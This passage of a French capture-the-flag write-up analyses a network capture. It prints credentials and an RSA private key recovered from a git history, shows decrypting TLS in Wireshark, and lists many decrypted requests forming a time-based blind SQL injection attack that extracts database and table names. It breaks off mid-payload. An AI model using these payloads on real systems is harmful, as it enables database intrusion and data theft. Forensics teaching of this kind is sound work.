Le deuxième bloc, il y a un téléchargement d'un fichier backup.tar.gz : demande à la trame 83, fichier récupérable à la trame 101. Pour récupérer le fichier, voir le cas 1 du numéro 2.
backup.tar.gz
Il s'agit du code source du serveur PHP et de son dépôt git avec index.php qui est le code source du serveur php (nom d'utilisateur et mot de passe : WeMissYouBob et cyabob).
En regardant dans l'historique du dépôt, on trouve un fichier qui contient une clé privée :
-----BEGIN PRIVATE KEY----- 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 4oTi0r98jSZ4jUksWvvYWgqQnzdTZh0nlyW3Y2p5AoIBABXTxVEiiSlsPYqhjLc7 2YUWnSUKqjO5JrZe2EirUIBiy/yLgCeue6i3z5tLwJ0lRn3MnbdS+b8JOTS2Tc02 xcO/n6++3atkhMFu9BVAyo/Dv/Cl+enFyS1CAJCX8C5F+esmStnJCeYs5zZz0+v0 dEWHLQvCYnf208jXpPdPXzxKfyPYGer35cRVViwvxXLaRqI6vuJkj1P1DVgxg3Y0 dU/tuBklKUsctnLj2ll6K3ukTPYMEN9/ioEhve0ccBeiDrMzijFKs07YZIySF/hg 4eCVHyyWABaAMRoNII7L8iy5lGmI7uFuZrFIA4/YEVCNThzFGj1wUNqluenYNS8n ALUCggEAQEmn/Rgsp0X4pbANuyDn9a1TrEZzWVXcmEF0aAKGYOaUt2zP6+LeesJW QdBRwyPpnE9HHA6FK8gD2HzZDuPV1j6pramhe6pqPc6BidOxnCH31rPfTDYXp8hl ONMy7YSlXctCwoD96VVB/rfpqPu0g14aEXXjMjvKDpEPrma33NH2qKqilgabo2hM bWMmXXFvr/xhcrKHvnn7j0ht5o4qrF+gdzvozkaq4Eukx/Kzw16Qw1Zo3bNW/3m2 e0x0IFN2EFYZ9OJ8Vohs3Kj7QzEkhZpgSaokMhZOeVyzx66GHvzWekVRzdbvnES7 9nvTPofCCLI8FUKk5a0btwVfKkoNZg== -----END PRIVATE KEY-----
Une analyse de la clé indique :
openssl rsa -text -noout -modulus < key.asc
RSA Private-Key: (4096 bit, 2 primes)
modulus:
00:be:9d:33:77:9f:42:41:48:7d:78:1c:d0:e4:0f:
42:27:bb:d6:34:47:01:91:64:77:16:63:3c:8d:cb:
51:fc:8f:fa:71:fd:7b:19:26:d1:0b:27:c6:f4:39:
bf:cf:f9:22:0d:4e:9a:5c:3c:b6:18:83:33:1f:79:
3d:4f:60:90:1d:5e:b7:73:f1:f3:cf:ba:10:20:5e:
23:e1:5c:ea:72:40:a1:ff:5d:26:02:46:95:d9:96:
22:33:00:16:b0:59:db:ec:c5:74:ac:23:fc:95:b5:
da:d5:8c:f6:62:0a:e4:39:95:84:24:bd:88:58:d2:
2a:b0:7f:7c:e0:97:a0:1b:cf:4c:9c:13:7f:8d:2b:
7c:c3:30:c7:45:28:dc:de:71:89:bf:60:6b:e1:41:
e3:9e:8c:4b:ff:85:5b:5f:8f:cc:38:32:e5:86:35:
95:7f:6a:6e:c3:97:26:01:d5:94:4e:80:b6:6b:dd:
67:aa:5c:bc:73:4b:dd:f3:a9:d4:17:2c:b0:c9:d0:
4b:76:83:3f:a5:c3:39:c8:22:97:c5:52:c4:51:16:
32:2c:e9:4e:66:4b:c6:ee:46:0b:6f:ab:f1:08:3a:
3f:50:01:b0:d5:f8:3d:7c:7d:cb:a3:75:72:f6:63:
8d:93:28:6f:12:ba:e7:6c:0b:43:e4:11:bc:2f:65:
82:fd:25:0c:6e:94:79:72:87:75:a3:98:10:a8:fc:
a8:db:2e:b6:12:29:5c:6c:fd:6b:ca:3c:17:ab:9e:
f4:79:39:f2:90:7d:e8:22:4d:b4:a3:de:bb:9c:8f:
b4:e7:ef:1f:c3:87:7d:c0:1c:f9:d7:64:93:1a:22:
cc:0f:28:df:98:c3:68:d9:3f:66:c7:a1:be:29:8c:
cd:c7:9b:a1:c5:0d:fd:77:50:e5:f8:d8:d8:7e:9b:
90:60:5a:54:4d:f9:5f:3c:c5:fa:5a:b2:28:ad:91:
91:26:4a:c8:73:18:eb:9b:1d:8b:93:9f:17:57:c0:
e4:c2:58:af:e1:ca:16:a1:0c:58:de:95:7c:1a:8e:
0b:a7:f0:c2:88:c6:f6:f0:a5:00:60:2f:16:d8:fb:
32:78:de:40:b1:50:24:08:7a:38:14:f5:91:19:bf:
82:2e:d7:38:71:3b:38:43:47:00:62:53:58:77:4e:
60:c4:ec:76:77:0f:65:44:54:30:a4:f4:ea:e3:d1:
38:70:ce:bc:c3:64:fd:e7:da:80:c2:9b:98:ae:42:
6e:d6:bb:4b:8e:8b:7f:98:8a:2f:be:bf:cf:0f:44:
6c:a6:c2:09:5d:a4:03:c5:60:c0:1a:d8:00:b5:ab:
b2:d6:f1:a6:2f:b1:66:87:22:a3:38:46:4a:66:61:
9b:6a:49
publicExponent: 65537 (0x10001)
privateExponent:
3d:39:4c:e0:ad:3c:a0:af:61:ed:84:83:eb:dc:a2:
c9:14:62:16:e4:7f:b2:6d:6c:7a:ba:61:26:c2:19:
91:5f:c5:77:7b:8d:60:64:c1:5c:2d:e8:8f:65:45:
20:cd:ca:8c:2f:a5:10:df:47:35:d4:5e:45:4b:b1:
cf:9f:1a:6a:f4:93:44:20:80:c9:45:e0:0c:25:70:
ac:e0:25:45:91:50:f7:2e:ba:18:9d:07:60:9e:02:
5a:13:3b:36:65:86:68:24:7b:f7:16:8f:f8:9e:32:
ad:c8:db:12:5e:a1:33:85:bc:ad:f8:5a:a4:fc:cc:
4d:68:85:79:b5:f9:ed:34:c6:4c:93:4e:b2:cf:37:
01:92:d7:4e:75:73:8b:d7:38:01:4a:3d:1c:5b:07:
7b:53:60:cd:af:cd:cb:81:ea:7c:5a:8c:b2:70:df:
95:cf:5f:c8:5e:f2:0c:40:c7:a3:f7:5f:a0:81:ba:
dc:53:71:0c:2f:60:18:f5:81:73:f8:1c:c8:95:a8:
c7:66:1c:b9:67:5d:55:d5:16:9e:80:99:21:da:59:
3f:67:a8:90:de:e2:04:82:67:05:f5:5a:33:e4:51:
95:a7:15:5f:84:9e:6b:30:14:8a:6a:1d:04:da:b1:
0c:85:3e:37:eb:e4:8d:25:89:26:e6:33:65:9d:db:
56:59:c6:a3:0d:fc:62:bd:82:6b:38:64:eb:80:5e:
88:08:3e:ba:7e:5c:2e:b0:b7:d5:1a:00:ff:44:5b:
94:f2:3c:eb:aa:6e:7a:b2:df:e4:db:e0:7c:4d:85:
4a:a8:97:71:8f:78:d1:bb:a9:b7:f6:3a:2e:92:1b:
04:15:de:82:ed:1b:12:ea:1c:aa:7a:a2:16:3b:ad:
96:76:0e:84:51:8b:61:29:98:17:8d:c9:f0:c8:19:
ca:4a:00:99:5e:fa:f3:35:4e:4d:32:82:33:7f:10:
5c:82:9d:d0:77:69:5d:53:ff:d3:6d:5d:86:f9:48:
c2:47:f5:c8:d4:cb:06:dc:3c:36:ee:75:d4:7a:3c:
10:08:1c:cf:39:00:93:bd:22:47:e7:cc:05:17:a1:
43:61:77:d0:fb:39:65:d6:bf:2a:05:9a:2f:15:4b:
b8:0b:a4:29:80:74:cc:30:00:ff:c2:0b:b5:01:61:
c1:7e:71:0e:33:a5:18:b5:26:dc:73:9a:87:2b:c3:
f0:58:59:ab:f7:98:87:52:9a:e0:bc:b9:05:64:c9:
6a:c0:7c:bc:ea:1b:4f:f6:cd:d9:05:80:c4:5b:7e:
00:f6:ef:81:06:25:07:c2:b0:f7:5a:1c:e6:b6:5f:
2b:6c:ed:21:42:49:ef:85:bb:c1:68:18:74:4f:8b:
09:89
prime1:
00:e8:fc:80:2f:58:c0:5e:00:31:a0:e4:e4:bd:e3:
e0:c4:d7:a7:b6:c8:b5:0c:d9:63:22:ef:65:e5:c7:
b9:80:44:0a:58:12:10:b0:10:fd:3d:5d:75:4f:fe:
52:50:56:c5:7a:4b:91:61:c4:88:71:d3:99:13:dc:
04:e7:96:74:25:65:71:11:d2:51:de:7a:7d:97:4d:
8e:72:08:c1:71:0e:62:3a:e2:53:0f:91:ee:7f:e0:
1c:e8:05:91:9f:a4:af:16:84:a9:32:4a:5b:b0:ab:
62:67:df:da:be:60:a2:b4:b4:00:c1:a3:3e:c9:3c:
58:c7:15:e5:67:99:28:0c:2b:98:34:47:fa:b4:cd:
19:d9:74:e2:bc:5b:f9:d4:05:b7:3a:7a:5a:5e:2c:
22:63:13:99:87:6e:1b:45:65:77:cd:7b:f0:f9:3a:
76:0a:f8:46:05:d7:36:e6:c8:1d:20:0b:de:f8:ee:
9b:50:14:80:59:5c:b7:00:88:77:bb:10:fb:a7:f3:
26:ec:9b:94:b4:34:40:d4:66:fb:03:3b:8a:92:b9:
cb:bc:33:91:5f:02:66:98:3e:71:33:c0:d6:43:e6:
6d:6b:fe:cc:69:f1:aa:30:b3:03:b3:a8:d7:5c:1b:
05:a2:5e:5f:bb:c6:93:3f:89:1c:32:18:e8:91:73:
d9:7f
prime2:
00:d1:71:3c:d4:4a:73:24:68:e8:f1:a5:de:98:7f:
2a:8a:16:6c:3b:f6:ad:1a:e3:3a:fa:6f:a5:20:4b:
4e:a0:18:73:b8:04:13:02:92:9a:8b:69:7c:54:af:
42:d3:77:b3:f3:d2:8d:d4:18:ed:8f:37:68:32:5b:
66:4e:95:49:ee:f5:db:d8:10:b1:e5:d8:46:63:8a:
5d:43:20:00:9e:db:ee:79:36:71:c8:f7:30:9d:8a:
d3:58:19:d1:01:81:51:ad:65:f3:42:56:a5:56:fc:
d4:1f:4c:7a:08:42:93:73:cc:38:c8:47:e6:00:32:
d0:d5:ec:93:c9:e3:9b:fc:77:78:67:6b:c9:d7:70:
19:0b:e2:b5:51:8e:dd:d7:0f:45:f5:b4:ed:ad:38:
36:4a:fa:46:cf:e7:d9:4e:ee:f7:18:06:e5:cb:92:
a5:14:63:e8:e5:79:69:85:fa:a3:7c:f4:b4:00:09:
da:cd:43:ea:bc:51:39:9a:96:92:54:ca:09:f1:3d:
bf:43:46:90:23:38:b9:7e:dc:b6:67:54:de:3f:14:
e7:d9:d0:0c:76:73:e0:e6:38:9e:c5:05:ce:ff:c4:
12:68:66:44:01:65:ba:df:31:48:55:98:24:e7:bc:
2e:da:dd:1a:db:70:4e:5f:73:3d:61:01:d6:72:40:
50:37
exponent1:
00:bb:43:d8:b4:35:9d:c8:f0:56:f3:7f:86:eb:a9:
f1:cb:c5:9a:a4:2c:06:79:e1:70:f1:6f:82:73:82:
68:f3:53:bd:0c:b4:d8:7c:eb:ea:e0:1b:f2:62:ed:
83:b3:d7:4a:ba:d5:6a:71:2e:ca:8c:d3:0a:c3:0f:
a1:51:93:78:9f:66:3d:cf:99:40:fc:95:6f:c4:e1:
2d:91:32:c0:68:e2:aa:c9:b1:88:19:87:ae:2f:52:
2f:69:be:b0:21:a4:f8:a6:1c:d2:f1:fd:1a:5d:92:
23:72:62:57:2b:95:f8:b1:4d:cd:1d:d6:dc:6c:5a:
f8:f0:6c:05:0b:93:ea:c0:7d:79:c4:eb:e5:f2:d4:
b7:e6:35:30:d9:3d:04:3d:0a:ab:0f:71:b0:98:e8:
d8:6a:d2:22:20:dc:bb:46:b8:1b:e7:29:ab:b2:66:
ee:e2:3a:53:ed:f5:e1:c6:f5:29:93:cc:76:d7:96:
d1:77:38:43:41:90:67:f7:21:b9:3a:be:97:c7:92:
84:c2:c0:fa:71:2d:5e:be:5a:57:7f:6d:a8:1f:ee:
fe:76:b2:ec:31:75:78:88:fe:07:77:15:94:22:d7:
5f:33:e2:84:e2:d2:bf:7c:8d:26:78:8d:49:2c:5a:
fb:d8:5a:0a:90:9f:37:53:66:1d:27:97:25:b7:63:
6a:79
exponent2:
15:d3:c5:51:22:89:29:6c:3d:8a:a1:8c:b7:3b:d9:
85:16:9d:25:0a:aa:33:b9:26:b6:5e:d8:48:ab:50:
80:62:cb:fc:8b:80:27:ae:7b:a8:b7:cf:9b:4b:c0:
9d:25:46:7d:cc:9d:b7:52:f9:bf:09:39:34:b6:4d:
cd:36:c5:c3:bf:9f:af:be:dd:ab:64:84:c1:6e:f4:
15:40:ca:8f:c3:bf:f0:a5:f9:e9:c5:c9:2d:42:00:
90:97:f0:2e:45:f9:eb:26:4a:d9:c9:09:e6:2c:e7:
36:73:d3:eb:f4:74:45:87:2d:0b:c2:62:77:f6:d3:
c8:d7:a4:f7:4f:5f:3c:4a:7f:23:d8:19:ea:f7:e5:
c4:55:56:2c:2f:c5:72:da:46:a2:3a:be:e2:64:8f:
53:f5:0d:58:31:83:76:34:75:4f:ed:b8:19:25:29:
4b:1c:b6:72:e3:da:59:7a:2b:7b:a4:4c:f6:0c:10:
df:7f:8a:81:21:bd:ed:1c:70:17:a2:0e:b3:33:8a:
31:4a:b3:4e:d8:64:8c:92:17:f8:60:e1:e0:95:1f:
2c:96:00:16:80:31:1a:0d:20:8e:cb:f2:2c:b9:94:
69:88:ee:e1:6e:66:b1:48:03:8f:d8:11:50:8d:4e:
1c:c5:1a:3d:70:50:da:a5:b9:e9:d8:35:2f:27:00:
b5
coefficient:
40:49:a7:fd:18:2c:a7:45:f8:a5:b0:0d:bb:20:e7:
f5:ad:53:ac:46:73:59:55:dc:98:41:74:68:02:86:
60:e6:94:b7:6c:cf:eb:e2:de:7a:c2:56:41:d0:51:
c3:23:e9:9c:4f:47:1c:0e:85:2b:c8:03:d8:7c:d9:
0e:e3:d5:d6:3e:a9:ad:a9:a1:7b:aa:6a:3d:ce:81:
89:d3:b1:9c:21:f7:d6:b3:df:4c:36:17:a7:c8:65:
38:d3:32:ed:84:a5:5d:cb:42:c2:80:fd:e9:55:41:
fe:b7:e9:a8:fb:b4:83:5e:1a:11:75:e3:32:3b:ca:
0e:91:0f:ae:66:b7:dc:d1:f6:a8:aa:a2:96:06:9b:
a3:68:4c:6d:63:26:5d:71:6f:af:fc:61:72:b2:87:
be:79:fb:8f:48:6d:e6:8e:2a:ac:5f:a0:77:3b:e8:
ce:46:aa:e0:4b:a4:c7:f2:b3:c3:5e:90:c3:56:68:
dd:b3:56:ff:79:b6:7b:4c:74:20:53:76:10:56:19:
f4:e2:7c:56:88:6c:dc:a8:fb:43:31:24:85:9a:60:
49:aa:24:32:16:4e:79:5c:b3:c7:ae:86:1e:fc:d6:
7a:45:51:cd:d6:ef:9c:44:bb:f6:7b:d3:3e:87:c2:
08:b2:3c:15:42:a4:e5:ad:1b:b7:05:5f:2a:4a:0d:
66
C'est bien une clé privée RSA.
Déchiffrage du dump Wireshark
Le serveur hello indique bien qu'il utilise une clé au format RSA.
Il faut configurer Wireshark pour décoder le flux SSL avec la clé.
Pour cela, il faut aller dans les préférences du protocole SSL.
Et voilà le flux SSL décodé.
Mail du challenge
Pour récupérer tous les GET de la communication chiffrée, il faut utiliser le filtre :
ssl && http && http.accept
et on trouve :
/?id=1-if((substring(lpad(bin(ascii(substring((select database()), 1,1))),8,'0'), 1, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select database()), 1,1))),8,'0'), 2, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select database()), 1,1))),8,'0'), 3, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select database()), 1,1))),8,'0'), 4, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select database()), 1,1))),8,'0'), 5, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select database()), 1,1))),8,'0'), 6, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select database()), 1,1))),8,'0'), 7, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select database()), 1,1))),8,'0'), 8, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select database()), 2,1))),8,'0'), 1, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select database()), 2,1))),8,'0'), 2, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select database()), 2,1))),8,'0'), 3, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select database()), 2,1))),8,'0'), 4, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select database()), 2,1))),8,'0'), 5, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select database()), 2,1))),8,'0'), 6, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select database()), 2,1))),8,'0'), 7, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select database()), 2,1))),8,'0'), 8, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select database()), 3,1))),8,'0'), 1, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select database()), 3,1))),8,'0'), 2, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select database()), 3,1))),8,'0'), 3, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select database()), 3,1))),8,'0'), 4, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select database()), 3,1))),8,'0'), 5, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select database()), 3,1))),8,'0'), 6, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select database()), 3,1))),8,'0'), 7, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select database()), 3,1))),8,'0'), 8, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select database()), 4,1))),8,'0'), 1, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select database()), 4,1))),8,'0'), 2, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select database()), 4,1))),8,'0'), 3, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select database()), 4,1))),8,'0'), 4, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select database()), 4,1))),8,'0'), 5, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select database()), 4,1))),8,'0'), 6, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select database()), 4,1))),8,'0'), 7, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select database()), 4,1))),8,'0'), 8, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select table_name from information_schema.tables limit 1), 1,1))),8,'0'), 1, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select table_name from information_schema.tables limit 1), 1,1))),8,'0'), 2, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select table_name from information_schema.tables limit 1), 1,1))),8,'0'), 3, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select table_name from information_schema.tables limit 1), 1,1))),8,'0'), 4, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select table_name from information_schema.tables limit 1), 1,1))),8,'0'), 5, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select table_name from information_schema.tables limit 1), 1,1))),8,'0'), 6, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select table_name from information_schema.tables limit 1), 1,1))),8,'0'), 7, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select table_name from information_schema.tables limit 1), 1,1))),8,'0'), 8, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select table_name from information_schema.tables limit 1), 2,1))),8,'0'), 1, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select table_name from information_schema.tables limit 1), 2,1))),8,'0'), 2, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select table_name from information_schema.tables limit 1), 2,1))),8,'0'), 3, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select table_name from information_schema.tables limit 1), 2,1))),8,'0'), 4, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select table_name from information_schema.tables limit 1), 2,1))),8,'0'), 5, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select table_name from information_schema.tables limit 1), 2,1))),8,'0'), 6, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select table_name from information_schema.tables limit 1), 2,1))),8,'0'), 7, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select table_name from information_schema.tables limit 1), 2,1))),8,'0'), 8, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select table_name from information_schema.tables limit 1), 3,1))),8,'0'), 1, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select table_name from information_schema.tables limit 1), 3,1))),8,'0'), 2, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select table_name from information_schema.tables limit 1), 3,1))),8,'0'), 3, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select table_name from information_schema.tables limit 1), 3,1))),8,'0'), 4, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select table_name from information_schema.tables limit 1), 3,1))),8,'0'), 5, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select table_name from information_schema.tables limit 1), 3,1))),8,'0'), 6, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select table_name from information_schema.tables limit 1), 3,1))),8,'0'), 7, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select table_name from information_schema.tables limit 1), 3,1))),8,'0'), 8, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select table_name from information_schema.tables limit 1), 4,1))),8,'0'), 1, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select table_name from information_schema.tables limit 1), 4,1))),8,'0'), 2, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select table_name from information_schema.tables limit 1), 4,1))),8,'0'), 3, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select table_name from information_schema.tables limit 1), 4,1))),8,'0'), 4, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select table_name from information_schema.tables limit 1), 4,1))),8,'0'), 5, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select table_name from information_schema.tables limit 1), 4,1))),8,'0'), 6, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select table_name from information_schema.tables limit 1), 4,1))),8,'0'), 7, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select table_name from information_schema.tables limit 1), 4,1))),8,'0'), 8, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select table_name from information_schema.tables limit 1), 5,1))),8,'0'), 1, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select table_name from information_schema.tables limit 1), 5,1))),8,'0'), 2, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select table_name from information_schema.tables limit 1), 5,1))),8,'0'), 3, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select table_name from information_schema.tables limit 1), 5,1))),8,'0'), 4, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select table_name from information_schema.tables limit 1), 5,1))),8,'0'), 5, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select table_name from information_schema.tables limit 1), 5,1))),8,'0'), 6, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select table_name from information_schema.tables limit 1), 5,1))),8,'0'), 7, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select table_name from information_schema.tables limit 1), 5,1))),8,'0'), 8, 1) = '0'), sleep(1), 0) /?id=1-if((select count(column_name) from information_schema.columns where table_schema = (select database())) = 1,sleep(1),0) /?id=1-if((select count(column_name) from information_schema.columns where table_schema = (select database())) = 2,sleep(1),0) /?id=1-if((select count(column_name) from information_schema.columns where table_schema = (select database())) = 3,sleep(1),0) /?id=1-if((select count(column_name) from information_schema.columns where table_schema = (select database())) = 4,sleep(1),0) /?id=1-if((select count(column_name) from information_schema.columns where table_schema = (select database())) = 5,sleep(1),0) /?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 0), 1,1))),8,'0'), 1, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select column_name from 